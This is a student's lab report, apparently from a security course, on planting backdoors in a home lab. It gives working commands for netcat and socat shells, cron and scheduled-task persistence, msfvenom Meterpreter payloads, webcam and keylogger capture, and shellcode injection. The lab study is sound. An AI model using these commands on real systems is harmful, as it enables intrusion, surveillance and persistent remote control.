首页 > 其他分享 >20222306 2024-2025-1 《网络与系统攻防技术》实验二实验报告

20222306 2024-2025-1 《网络与系统攻防技术》实验二实验报告

时间:2024-10-18 22:59:02浏览次数:1  
标签:后门 exe 8888 主机 192.168 2024 2025 20222306 输入

1.实验内容

1.1 实践目标

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.2回答问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?

答:

  • 插入不明来源的U盘
  • 安装网上一些不正规的破解软件
  • 在一些非正规的网站下载资源
  • 在钓鱼网站上点击不安全的链接
  • 陌生人发来的邮件中,不明的文件或者链接

(2)例举你知道的后门如何启动起来(win及linux)的方式?

答:
在Windows系统中,后门启动方式有:利用windows启动项启动后门、利用windows服务启动后门、利用定时任务启动后门等;
在Linux系统中,后门的启动方式可能包括:利用cron或at等定时任务工具启动后门、利用自启动脚本启动后门、利用利用SSH隧道启动后门、利用反弹Shell启动后门等。

(3)Meterpreter有哪些给你印象深刻的功能?

答:
利用meterpreter做后渗透攻击,如打开shell、捕捉屏幕、录音、获取摄像头信息等让我印象深刻,我也实现了在小说和电影中看到的黑客技术。

(4)如何发现自己有系统有没有被安装后门?

答:
①可以查看任务管理器,检查是否有可疑进程或程序;
②可以使用命令行工具,输入netstat -ano来查看是否有可疑IP在进行外网链接;
③可以检查系统日志的系统和安全部分,检查是否有服务文件名与可疑程序相关;
④使用防病毒软件、防火墙、漏洞扫描工具等,实时维护系统。

2.实验过程

一,使用netcat获取主机操作Shell,cron启动

关闭所有的杀毒软件,关闭主机和Linux虚拟机的防火墙。

Linux系统关闭防火墙的方法:
sudo apt-get install ufw
ufw disable
(1)查看主机的ip
Windows主机IP地址:192.168.43.67
Linux主机IP地址:192.168.80.136

(2)使用netcat进行连接并获取shell
虚拟机登入root用户(后续操作需要使用root权限),主机cmd进入ncat所在目录。
Win主机输入指令:ncat.exe -l -p 8888(l表示listen,“监听”;p表示port,指定端口,端口号可自行指定)
Linux虚机输入指令:nc 192.168.43.67 8888 -e /bin/sh(nc即netcat,后面的参数是要连接的ip和port,-e是指定连接后运行的程序,本例中就是shell。)win主机输入ls,若能够正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell。

(3)通过设置cron使得kali启动定时任务
进入虚拟机的root账户,输入crontab -e (执行文字编辑器来设定时程表),选择的是2:/usr/bin/vim.basic;
输入后进入文字编辑器,输入i进入插入模式,输入指令30 * * * * /bin/netcat 192.168.43.67 8888 -e /bin/sh (输入自己主机的IP地址,在每小时的第30分钟启动任务)
编辑好输入:wq保存并退出文字编辑器

同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。

回到Windows主机的cmd中进行操作,Win主机输入指令:ncat.exe -l -p 8888,Linux虚机输入指令:nc 192.168.43.67 8888 -e /bin/sh,还是一样与Linux建立连接之后,输入sudo su,切换到root模式,输入:
echo "*****echo "20222306">/home/txm/Desktop/2306_1.txt">/var/spool/cron/crontabs/root
crontab -l (检查时程表)

这时候再使用Linux,进入相应目录就发现修改成功。

至此,实践任务1完成!

二,使用socat获取主机操作Shell, 任务计划启动

socat:功能与netcat类似,可看做netcat plus。它具有netcat所不具备的功能,如建立ssl连接。
首先,在Windows主机之下进入socat.exe的文件目录下,启用cmd输入命令:
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr

接着在Linux上使用socat与win主机建立连接,可获得其shell:
socat - tcp:192.168.43.67:8888

回到主机,我们需要事先准备一个程序以供运行。

文件路径如下:

在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:
schtasks create /sc minute /mo 1 /tn "20222306txm" /tr c:Users\pc\Desktop\stu-scorel txm.exe (每一分钟执行一次我写的这个程序:)

回到windows主机,打开计算机管理,看到正在运行的任务名“202222306txm”,说明实验成功。

至此,实践任务二完成!

三、在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
保证windows的实时保护处于关闭状态,同时关闭防火墙进行实验。

(1)生成后门文件
首先在kali中输入ifconfig,获得虚拟机的IP地址:

虚拟机的IP地址是192.168.80.136
继续中输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.136 LPORT=8888 -f exe > 2306backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。)
LHOST=192.168.80.136是shell 连接的主机 IP 地址,在本实验中是虚拟机的IP地址;
LPORT=8888是攻击者的系统上监听的端口号;
-f exe指定了生成的 payload 的格式,这里是exe;
2306backdoor.exe即生成的恶意可执行文件

(2)将后门文件传输至目标主机
主机进入ncat所在目录下,输入指令:
ncat.exe -lv 8888 > "D:\2306backdoor.exe"(监听8888窗口等待接收可执行文件2306backdoor.exe,并将2306backdoor.exe文件存放在桌面上)

虚拟机上输入指令:
nc 192.168.80.136 8888 < 2306backdoor.exe(将生成的后门文件2306backdoor.exe传给主机)
Win主机接收到后门文件2306backdoor.exe,成功在D盘找到文件

(3)配置监听模块
回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:

use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.43.67 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
接着输入exploit,使监听模块开始运行,并在Windows终端运行后门2306backdoor.exe文件

至此,实践任务三完成!

四,使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(1)获取目标主机音频、截屏、摄像头、键盘记录

在exploit模块中继续输入以下命令:
record_mic   (音频)
screenshot   (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)

音频截屏和拍照被保存在root文档中,键盘记录的字符串将直接显示在命令栏上

(2)提权

确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:

getuid (查看当前用户)
getsystem (提权指令)

至此,实践任务四完成!

五,使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在kali命令行下输入:
Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.136
LPORT=8888 -x /root/Desktop/pwn1 -f elf > 2306_pwn
(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 2306_pwn的文件中。)
-p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 类型。
LHOST=192.168.80.136:目标主机 IP 地址为 192.168.80.136,这里即虚拟机IP地址。
LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888。
-x /home/kali/Document/pwn1:指定一个可执行文件作为模板,生成的 payload 将会注入到该文件中。
-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式。
对生成的2306_pwn文件赋予权限

输入指令msfconsole,重现监听过程:

打开另一个shell,运行生成的2306_pwn文件(需要使用root权限)

回到第一个shell,输入ls确认连接,成功实现远程控制shell

至此,实践任务五完成!

3、实验中遇到的问题及解决

问题1:主机和虚拟机无法用ncat连接
解决方式:关掉火绒软件,就可以连上了。

问题2:输入30 * * * * /bin/netcat 192.168.3.10 8888 -e /bin/sh后2221_1.txt文件没有被覆盖。
解决方案:需要等到每个小时的第30分钟才会启动覆盖。

问题3:任务四中在exploit中输入getsystem无法提权,显示send timed out
解决方案:在主机中使用管理员身份运行cmd,然后后运行后门程序

4.学习思考感悟等

通过本次实验,我对netcat、socat、cron、MSF meterpreter等有了基本的了解。在进行这次实验前,必须将杀毒软件关闭,否则“寸步难行”。这也体现了杀毒软件在防范网络攻击方面的可行性和必要性。
第二次实验我踩的坑似乎也没那么多,所以也比较顺利地完成了实验,但是也更有意思了。这是我第一次感受黑客是什么样的。之前我对于如何进行攻击是非常有疑问的。这次通过创建后门获取各种权限,我才知道连我都可以获取目标主机的摄像头、键盘、密码等权限。真的是小小的体验了一下黑客。也深刻感受到防火墙、入侵检测的重要性。

标签:后门,exe,8888,主机,192.168,2024,2025,20222306,输入
From: https://www.cnblogs.com/ming-20222306/p/18473562

相关文章

  • 2024/10/18日 日志 --》关于MySQL中的 事务 以及JDBC的初步学习笔记与整理
    今天学习练习了事务的相关内容,并正式向连接数据库走近,进入到JDBC的学习。点击查看代码--事务--概念简介:是一种机制,一个操作序列,包含了一组数据库操作命令。-- 事务把所有的命令作为一个整体一起向系统提交或撤销操作请求,--即这一组数据库命令要么同时成功,要么同时失......
  • 3dsMax:3dsMax基础操作与界面介绍_2024-07-15_15-24-33.Tex
    3dsMax:3dsMax基础操作与界面介绍一、3dsMax简介1.13dsMax的历史与发展3dsMax,原名3DStudioMax,是由Autodesk公司开发的一款基于PC的三维动画渲染和建模软件。它的历史可以追溯到1990年代初,当时由YostGroup开发的3DStudio系列软件在DOS平台上首次亮相,随后在Window......
  • 3dsMax:材质与贴图应用教程_2024-07-15_15-57-33.Tex
    3dsMax:材质与贴图应用教程3dsMax:材质与贴图应用材质基础材质编辑器的介绍与使用在3dsMax中,材质编辑器(MaterialEditor)是创建和编辑材质的核心工具。它提供了丰富的选项,帮助艺术家为模型赋予真实感和细节。材质编辑器通常位于3dsMax界面的右下角,可以通过点击“显......
  • 3dsMax:产品设计与展示技巧_2024-07-15_17-50-57.Tex
    3dsMax:产品设计与展示技巧产品设计基础3dsMax界面介绍在开始使用3dsMax进行产品设计之前,熟悉其界面是至关重要的。3dsMax的界面主要由以下几个部分组成:菜单栏:位于界面顶部,提供各种命令和功能的访问入口。工具栏:紧邻菜单栏下方,包含常用的工具和命令按钮。视图区:界面中......
  • 2024-2025 20241413 《计算机基础与程序设计》第四周学习总结
    作业信息这个作业属于哪个课程https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html作业目标门电路组合电路,逻辑电路冯诺依曼结构CPU,内存,IO管理嵌入式系统,并行结构物理安全--------......
  • 20241018每日一题洛谷P2386
    普及每日一题信息学竞赛1206:放苹果把M个同样的苹果放在N个同样的盘子里,允许有的盘子空着不放,问共有多少种不同的分法?(用K表示)5,1,1和1,5,1是同一种分法。第一行是测试数据的数目t(0<=t<=20)。以下每行均包含二个整数M和N,以空格分开。1<=M,N<=10。对输入的每组数据M和N,用一行输出相......
  • GhostDoc Enterprise.v2024.1.24160 for Visual Studio 2022插件漏洞分析和离线解锁方
      先安装,然后直接使用dnspy调试VisualStudio2022,以GhostdocPro的注册对话框作为突破口进行调试。经过一些调试可以比较轻松的发现关键点在SubMain.GhostDoc.Services.clr4.dll中,你可以通过everything在vs的插件目录中找到这个dll所在位置,其它版本的VisualStudio的方法是类似......
  • 20222406 2024-2025-1 《网络与系统攻防技术》实验二实验报告
    202224062024-2025-1《网络与系统攻防技术》实验二实验报告1.实验内容1.1实验目标使用netcat获取主机操作Shell,cron启动某项任务(任务自定)使用socat获取主机操作Shell,任务计划启动使用MSFmeterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主......
  • 2024-10-17 模拟赛总结
    \(100+50+10+0=160\),码力不够T2没调出来,死磕T2没打出T4暴力。A-语言/language题意:设A为形容词,N为名词,V为动词,用a~z的字母来表示每一个词语,没一个词语可能既是形容词又是名词,其他同理,一个名词性词语\(NP::=N|A+NP_1|NP_1+NP_2\),一个句子\(S=NP_1+V+NP_2\)。给......
  • 发癫(2024.10.14-2024.10.18)
    虽然已临近CSP复赛,但我还在不务正业更改缺省源最近几天莫名其妙的的想改一下我的缺省源。之前和现在的缺省源比较:之前:#include<stdio.h>#include<string.h>//#include<bits/stdc++.h>//#include<iostream>//usingnamespacestd;//usingstd::cin;#defineitnint#d......